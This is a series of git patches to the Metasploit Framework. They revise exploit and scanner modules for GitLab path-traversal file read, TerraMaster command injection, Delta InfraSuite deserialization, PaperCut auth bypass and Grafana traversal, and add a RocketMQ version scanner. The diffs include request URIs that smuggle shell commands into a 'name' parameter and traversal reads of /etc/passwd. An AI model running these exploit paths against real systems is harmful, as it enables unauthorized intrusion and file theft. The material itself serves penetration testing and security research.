a/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb b/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb index 0d42f9e76739b..acdb1f2e11e72 100644 --- a/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb +++ b/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb @@ -122,7 +122,7 @@ def check return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError return CheckCode::Detected('Could not detect the version because authentication failed.') - rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e return CheckCode::Unknown("#{e.class} - #{e.message}") end From 3b53966caa64877afab1a2d0f3592067d007fe61 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Tue, 6 Jun 2023 12:14:14 -0500 Subject: [PATCH 308/415] add installation steps --- .../misc/delta_electronics_infrasuite_deserialization.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index edccca098bf60..0ee86ca0e3b95 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -8,6 +8,14 @@ resulting in code execution as the user running the `Device-Gateway-Status` proc ### Installation Instructions +1. Unzip and run the installer +2. Install all of the pre-requisites (Stack Builder is not needed) and reboot +3. Click `next` and ensure the three features, `Device-Monitor`, `Device-DataCollect`, and `Device-Gateway` are selected to install +4. The password on the next screen should say `Ems3000!`, but it is not needed for the exploit +5. Click `next`, then `Install` +6. Click `Finish`, then wait for the processing of files to finish +7. Once the previous step is done, ensure `Yes, I want to restart my computer now` is checked and click finish + ## Verification Steps 1. Install the application From 102a32c87b80d17fa77f2ca94b9486424c3990e3 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Tue, 6 Jun 2023 14:12:21 -0500 Subject: [PATCH 309/415] add SCREEN_EFFECTS and akb assessment --- .../misc/delta_electronics_infrasuite_deserialization.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb index 92654c16c8ebd..99d7e9ecd2dfc 100644 --- a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -31,7 +31,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-1133'], - ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'] + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'], + ['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133'] ], 'Platform' => 'win', 'Privileged' => false, @@ -57,7 +58,7 @@ def initialize(info = {}) 'DisclosureDate' => '2023-05-17', 'Notes' => { 'Stability' => [CRASH_SAFE], - 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS], 'Reliability' => [REPEATABLE_SESSION] } ) From 2fcd97f5efac397ea025b33a2d26d306d3f9dcab Mon Sep 17 00:00:00 2001 From: space-r7 Date: Tue, 6 Jun 2023 14:37:58 -0500 Subject: [PATCH 310/415] close socket --- .../misc/delta_electronics_infrasuite_deserialization.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb index 99d7e9ecd2dfc..24ef46144e3ca 100644 --- a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -130,4 +130,8 @@ def execute_command(cmd, _opts = {}) pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}" udp_sock.put(pkt) end + + def cleanup + disconnect_udp + end end From 4950cb34240d2bb14c977ed4cadaa3e0755a92c7 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 6 Jun 2023 16:24:38 -0400 Subject: [PATCH 311/415] review adjustments --- ...itlab_authenticated_subgroups_file_read.md | 31 ++++++++++++++++++- ...itlab_authenticated_subgroups_file_read.rb | 17 +++++----- 2 files changed, 38 insertions(+), 10 deletions(-) diff --git a/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md b/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md index f3043b55bd50c..f7ee765b4a344 100644 --- a/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md +++ b/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md @@ -37,7 +37,36 @@ gitlab/gitlab-ee:16.0.0-ee.0 To retrieve the default password: ``` -sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives. +sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read` +1. Do: `set rhosts [ip]` +1. Do: `set username [username]` +1. DO: `set password [password]` +1. Do: `run` +1. You should be able to read an arbitrary file. + +## Options + +### DEPTH + +Depth for path traversal (also groups creation). 11 seems pretty safe but it may work with less. Defaults to `11`. + +### FILE + +File to read. Defaults to `/etc/passwd` + +## Scenarios + +### Docker GitLab 16.0 + +``` +[*] Processing gitlab.rb for ERB directives. resource (gitlab.rb)> use auxiliary/gather/gitlab_authenticated_subgroups_file_read resource (gitlab.rb)> set rhosts 127.0.0.1 rhosts => 127.0.0.1 diff --git a/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb b/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb index 67493f9708f49..c6fa551d5c581 100644 --- a/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb +++ b/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb @@ -7,8 +7,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Gitlab include Msf::Auxiliary::Report - - attr_accessor :cookie + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -78,9 +77,9 @@ def get_csrf(body) def check # check method almost entirely borrowed from gitlab_github_import_rce_cve_2022_2992 - self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + @cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) - raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if cookie.nil? + raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if @cookie.nil? vprint_status('Trying to get the GitLab version') @@ -100,7 +99,7 @@ def check return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.') - rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e return Exploit::CheckCode::Unknown("#{e.class} - #{e.message}") end @@ -110,12 +109,12 @@ def run end begin - self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + @cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) if @cookie.nil? rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError fail_with(Failure::NoAccess, 'Unable to authenticate, check credentials') end - fail_with(Failure::NoAccess, 'Unable to retrieve cookie') if cookie.nil? + fail_with(Failure::NoAccess, 'Unable to retrieve cookie') if @cookie.nil? # get our csrf token res = send_request_cgi({ @@ -160,6 +159,7 @@ def run # grab our parent group ID for nesting res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/ parent_id = ::Regexp.last_match(1) + fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id end # create a new project @@ -182,7 +182,6 @@ def run }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 - # csrf_token = get_csrf(res.body) project_id = URI(res.headers['Location']).path @@ -231,7 +230,7 @@ def run }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? if res.code == 500 - print_error("Unable to read file (permissions, or file doens't exist)") + print_error("Unable to read file (permissions, or file doesn't exist)") elsif res.code != 200 print_error("#{peer} - Unexpected response code (#{res.code})") # don't fail_with so we can cleanup end From 46fcdb76d5f9da9f368e30692d86873bba97416a Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 7 Jun 2023 08:27:55 +0000 Subject: [PATCH 312/415] Updates based on jvoisin comments --- .../http/terramaster_unauth_rce_cve_2021_45837.md | 3 ++- .../http/terramaster_unauth_rce_cve_2021_45837.rb | 12 +++++++----- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md index b03429be924b2..862bf9b6d4ac4 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md @@ -1,7 +1,8 @@ ## Vulnerable Application This module provides a Terramaster chained exploit that performs session crafting to achieve escalated privileges -that allows an attacker to access vulnerable code execution flaws. TOS versions `4.2.15` and below are affected. +that allows an attacker to access vulnerable code execution flaws. TerraMaster Operating System (TOS) versions +`4.2.15` and below are affected. [CVE-2021-45839](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45839) is exploited to obtain the first administrator's hash set up on the system as well as other information such as MAC address, by performing a POST request to the diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb index 6f7d4b704401c..c819bd22155a8 100644 --- a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb @@ -94,7 +94,7 @@ def get_data # Initialise instance variable data to store the leaked data @data = {} - # Get the data by exploiting the LFI vulnerability thru vulnerable endpoint `api.php?mobile/webNasIPS`. + # Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`. # CVE-2021-458439 res = send_request_cgi({ 'method' => 'POST', @@ -150,6 +150,8 @@ def download_admin_users # get the admin users from /etc/group if res && res.code == 200 && res.body.include?('admin') res.body.each_line do |line| + next if line.empty? + field = line.split(':') next unless field[0] == 'admin' @@ -170,7 +172,7 @@ def get_session for admin in @admin_users res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};xx%23"), + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}", @@ -186,7 +188,7 @@ def get_session # Send second request to establish a session and break from the loop if true. res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};xx%23"), + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'headers' => { @@ -235,12 +237,12 @@ def get_terramaster_info end def execute_command(cmd, _opts = {}) - # Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;;xx%23` + # Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;;%23` # CVE-2021-45837 payload = CGI.escape(cmd) send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};xx%23"), + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'headers' => { From aa1a014d89239fe0e73167cc709bffe7a2a4f16e Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 7 Jun 2023 06:25:49 -0500 Subject: [PATCH 313/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 61 +++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index d8d9c2619f173..45f222af34948 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -19261,6 +19261,67 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_gather/gitlab_authenticated_subgroups_file_read": { + "name": "GitLab Authenticated File Read", + "fullname": "auxiliary/gather/gitlab_authenticated_subgroups_file_read", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-05-23", + "type": "auxiliary", + "author": [ + "h00die", + "pwnie", + "Vitellozzo" + ], + "description": "GitLab version 16.0 contains a directory traversal for arbitrary file read\n as the `gitlab-www` user. This module requires authentication for exploitation.\n In order to use this module, a user must be able to create a project and groups.\n When exploiting this vulnerability, there is a direct correlation between the traversal\n depth, and the depth of groups the vulnerable project is in. The minimum for this seems\n to be 5, but up to 11 have also been observed. An example of this, is if the directory\n traversal needs a depth of 11, a group\n and 10 nested child groups, each a sub of the previous, will be created (adding up to 11).\n Visually this looks like:\n Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10.\n If the depth was 5, a group and 4 nested child groups would be created.\n With all these requirements satisfied a dummy file is uploaded, and the full\n traversal is then executed. Cleanup is performed by deleting the first group which\n cascades to deleting all other objects created.", + "references": [ + "URL-https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/", + "URL-https://github.com/Occamsec/CVE-2023-2825", + "URL-https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/", + "CVE-2023-2825" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-06-06 16:24:38 +0000", + "path": "/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb", + "is_install_path": true, + "ref_name": "gather/gitlab_authenticated_subgroups_file_read", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_gather/grandstream_ucm62xx_sql_account_guess": { "name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump", "fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess", From 991b9604e521b4d7302b53ffa93026aa724eaf1f Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Wed, 7 Jun 2023 15:05:12 +0200 Subject: [PATCH 314/415] Add options to the documentation --- .../exploit/multi/http/papercut_ng_auth_bypass.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md index 7c751ceed2d28..e22974f3f801f 100644 --- a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -53,6 +53,17 @@ the SetupCompleted page used for the bypass. This scenario is not covered in the that is currently in use.* +## Options + +### TARGETURI + +Path to the papercut application. Default is `/app`. + +### HTTPDELAY + +Number of seconds the web server will wait before termination. Default is 10. + + ## Verification Steps 1. `./msfconsole -q` From d3c662b42b0980ff79ee28b050b77d020120cfff Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 7 Jun 2023 08:35:09 -0500 Subject: [PATCH 315/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 65 +++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 45f222af34948..10dd824ad27e9 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -94312,6 +94312,71 @@ "session_types": false, "needs_cleanup": true }, + "exploit_multi/http/papercut_ng_auth_bypass": { + "name": "PaperCut PaperCutNG Authentication Bypass", + "fullname": "exploit/multi/http/papercut_ng_auth_bypass", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-03-13", + "type": "exploit", + "author": [ + "catatonicprime" + ], + "description": "This module leverages an authentication bypass in PaperCut NG. If necessary it\n updates Papercut configuration options, specifically the 'print-and-device.script.enabled'\n and 'print.script.sandboxed' options to allow for arbitrary code execution running in\n the builtin RhinoJS engine.\n\n This module logs at most 2 events in the application log of papercut. Each event is tied\n to modifcation of server settings.", + "references": [ + "CVE-2023-27350", + "ZDI-23-233", + "URL-https://www.papercut.com/kb/Main/PO-1216-and-PO-1219", + "URL-https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/", + "URL-https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/", + "URL-https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software" + ], + "platform": "Java", + "arch": "java", + "rport": "9191", + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic Target" + ], + "mod_time": "2023-05-31 19:15:14 +0000", + "path": "/modules/exploits/multi/http/papercut_ng_auth_bypass.rb", + "is_install_path": true, + "ref_name": "multi/http/papercut_ng_auth_bypass", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/pentaho_business_server_authbypass_and_ssti": { "name": "Pentaho Business Server Auth Bypass and Server Side Template Injection RCE", "fullname": "exploit/multi/http/pentaho_business_server_authbypass_and_ssti", From 8f6b421dc16b3e5fcf5366e85a0d334509ce7336 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Wed, 7 Jun 2023 10:52:58 -0500 Subject: [PATCH 316/415] add non-capture group --- .../misc/delta_electronics_infrasuite_deserialization.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb index 24ef46144e3ca..dfbcdd208f0e3 100644 --- a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -96,7 +96,7 @@ def check return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.') end - version = res.body.match(/version:'(\d+(\.\d+)+[a-zA-Z]?)'/) + version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/) unless version && version.length > 1 return CheckCode::Detected('Failed to find version string') end From ffbd690a33cab06e1db6b1f8d1623a1af02fc8e1 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 7 Jun 2023 11:25:51 -0500 Subject: [PATCH 317/415] Add in ability to support detecting preview versions --- modules/auxiliary/scanner/http/grafana_plugin_traversal.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb index 7c304f8dc33e4..a6fef360acad2 100644 --- a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb +++ b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb @@ -63,13 +63,16 @@ def check return Exploit::CheckCode::Unknown unless res && res.code == 200 # We need to take into account beta versions, which end with -beta. See: https://grafana.com/docs/grafana/latest/release-notes/ - /"subTitle":"Grafana v(?\d{1,2}\.\d{1,2}\.\d{1,2}(?:-beta\d)?) \([0-9a-f]{10}\)",/ =~ res.body + # Also take into account preview versions, which end with -preview. See https://grafana.com/grafana/download/10.0.0-preview?edition=oss + /"subTitle":"Grafana v(?\d{1,2}\.\d{1,2}\.\d{1,2}(?:(?:-beta\d)?|(?:-preview)?)) \([0-9a-f]{10}\)",/ =~ res.body return Exploit::CheckCode::Safe unless full_version # However, since 8.3.1 does not have a beta, we can safely ignore the -beta suffix when comparing versions # In fact, this is necessary because Rex::Version doesn't correctly handle versions ending with -beta when comparing if /-beta\d$/ =~ full_version version = Rex::Version.new(full_version[0..-7]) + elsif /-preview$/ =~ full_version + version = Rex::Version.new(full_version[0..-9]) else version = Rex::Version.new(full_version) end From b923b0c8c398401823399f5fa522b7890b2f55e7 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 7 Jun 2023 11:34:00 -0500 Subject: [PATCH 318/415] Add in a typo fix --- modules/auxiliary/scanner/http/grafana_plugin_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb index a6fef360acad2..241c3f03203e1 100644 --- a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb +++ b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb @@ -63,7 +63,7 @@ def check return Exploit::CheckCode::Unknown unless res && res.code == 200 # We need to take into account beta versions, which end with -beta. See: https://grafana.com/docs/grafana/latest/release-notes/ - # Also take into account preview versions, which end with -preview. See https://grafana.com/grafana/download/10.0.0-preview?edition=oss + # Also take into account preview versions, which end with -preview. See https://grafana.com/grafana/download/10.0.0-preview?edition=oss for more info. /"subTitle":"Grafana v(?\d{1,2}\.\d{1,2}\.\d{1,2}(?:(?:-beta\d)?|(?:-preview)?)) \([0-9a-f]{10}\)",/ =~ res.body return Exploit::CheckCode::Safe unless full_version From dbc7a8cb61f7d6af2c5a8de9dfe3010ebfa27512 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 7 Jun 2023 14:48:34 -0500 Subject: [PATCH 319/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 10dd824ad27e9..aaf00a08c1eb8 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -30432,7 +30432,7 @@ "https" ], "targets": null, - "mod_time": "2021-12-19 16:18:05 +0000", + "mod_time": "2023-06-07 11:34:00 +0000", "path": "/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb", "is_install_path": true, "ref_name": "scanner/http/grafana_plugin_traversal", From 72102de2f23f5eadedbdf2faa4d237747deaafce Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 7 Jun 2023 15:06:56 -0500 Subject: [PATCH 320/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index aaf00a08c1eb8..9cdea6dc08e1e 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -89489,7 +89489,7 @@ "targets": [ "Unix Command" ], - "mod_time": "2023-02-14 15:26:01 +0000", + "mod_time": "2023-06-06 17:43:22 +0000", "path": "/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb", "is_install_path": true, "ref_name": "multi/http/gitlab_github_import_rce_cve_2022_2992", From e3bcc9ac08295f3d9f31d5143463227388ee1873 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 7 Jun 2023 17:29:53 -0400 Subject: [PATCH 321/415] rocketmq version scanner --- .../scanner/misc/rocketmq_version.md | 41 +++++++ .../scanner/misc/rocketmq_version.rb | 104 ++++++++++++++++++ 2 files changed, 145 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/misc/rocketmq_version.md create mode 100644 modules/auxiliary/scanner/misc/rocketmq_version.rb diff --git a/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md b/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md new file mode 100644 index 0000000000000..ac51117c2d32f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md @@ -0,0 +1,41 @@ +## Vulnerable Application + +Version scanner for the Apache RocketMQ product. + +### Setup + +Instructions taken from https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT + +``` +docker pull apache/rocketmq:4.9.4 +# Start nameserver +docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv +# Start Broker +docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/misc/rocketmq_version` +1. Do: `set rhosts [ips]` +1. Do: `run` +1. You should get the version number from rocketmq + +## Options + +## Scenarios + +### 4.9.4 on Docker from above instructions + +``` +msf6 > use auxiliary/scanner/misc/rocketmq_version +msf6 auxiliary(scanner/misc/rocketmq_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/misc/rocketmq_version) > run + +[+] 127.0.0.1:9876 - RocketMQ version V4.9.4 found with brokers: [{"brokerAddrs"=>{"0"=>"172.17.0.4:10911"}, "brokerName"=>"broker-a", "cluster"=>"DefaultCluster"}] +[*] 127.0.0.1:9876 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/misc/rocketmq_version.rb b/modules/auxiliary/scanner/misc/rocketmq_version.rb new file mode 100644 index 0000000000000..223a3ded583a6 --- /dev/null +++ b/modules/auxiliary/scanner/misc/rocketmq_version.rb @@ -0,0 +1,104 @@ +### This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache RocketMQ Version Scanner', + 'Description' => %q{ + Version scanner for the Apache RocketMQ product. + }, + 'Author' => [ + 'h00die', + 'Malayke' # CVE-2023-33246 code + ], + 'References' => [ + ['URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/main/check.py'], + ['URL', 'https://github.com/apache/rocketmq'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options([ Opt::RPORT(9876), ]) + end + + def get_version(id) + # from https://github.com/apache/rocketmq/blob/develop/common/src/main/java/org/apache/rocketmq/common/MQVersion.java + version_list = ['V3_0_0_SNAPSHOT', 'V3_0_0_ALPHA1', 'V3_0_0_BETA1', 'V3_0_0_BETA2', 'V3_0_0_BETA3', 'V3_0_0_BETA4', 'V3_0_0_BETA5', 'V3_0_0_BETA6_SNAPSHOT', 'V3_0_0_BETA6', 'V3_0_0_BETA7_SNAPSHOT', 'V3_0_0_BETA7', 'V3_0_0_BETA8_SNAPSHOT', 'V3_0_0_BETA8', 'V3_0_0_BETA9_SNAPSHOT', 'V3_0_0_BETA9', 'V3_0_0_FINAL', 'V3_0_1_SNAPSHOT', 'V3_0_1', 'V3_0_2_SNAPSHOT', 'V3_0_2', 'V3_0_3_SNAPSHOT', 'V3_0_3', 'V3_0_4_SNAPSHOT', 'V3_0_4', 'V3_0_5_SNAPSHOT', 'V3_0_5', 'V3_0_6_SNAPSHOT', 'V3_0_6', 'V3_0_7_SNAPSHOT', 'V3_0_7', 'V3_0_8_SNAPSHOT', 'V3_0_8', 'V3_0_9_SNAPSHOT', 'V3_0_9', 'V3_0_10_SNAPSHOT', 'V3_0_10', 'V3_0_11_SNAPSHOT', 'V3_0_11', 'V3_0_12_SNAPSHOT', 'V3_0_12', 'V3_0_13_SNAPSHOT', 'V3_0_13', 'V3_0_14_SNAPSHOT', 'V3_0_14', 'V3_0_15_SNAPSHOT', 'V3_0_15', 'V3_1_0_SNAPSHOT', 'V3_1_0', 'V3_1_1_SNAPSHOT', 'V3_1_1', 'V3_1_2_SNAPSHOT', 'V3_1_2', 'V3_1_3_SNAPSHOT', 'V3_1_3', 'V3_1_4_SNAPSHOT', 'V3_1_4', 'V3_1_5_SNAPSHOT', 'V3_1_5', 'V3_1_6_SNAPSHOT', 'V3_1_6', 'V3_1_7_SNAPSHOT', 'V3_1_7', 'V3_1_8_SNAPSHOT', 'V3_1_8', 'V3_1_9_SNAPSHOT', 'V3_1_9', 'V3_2_0_SNAPSHOT', 'V3_2_0', 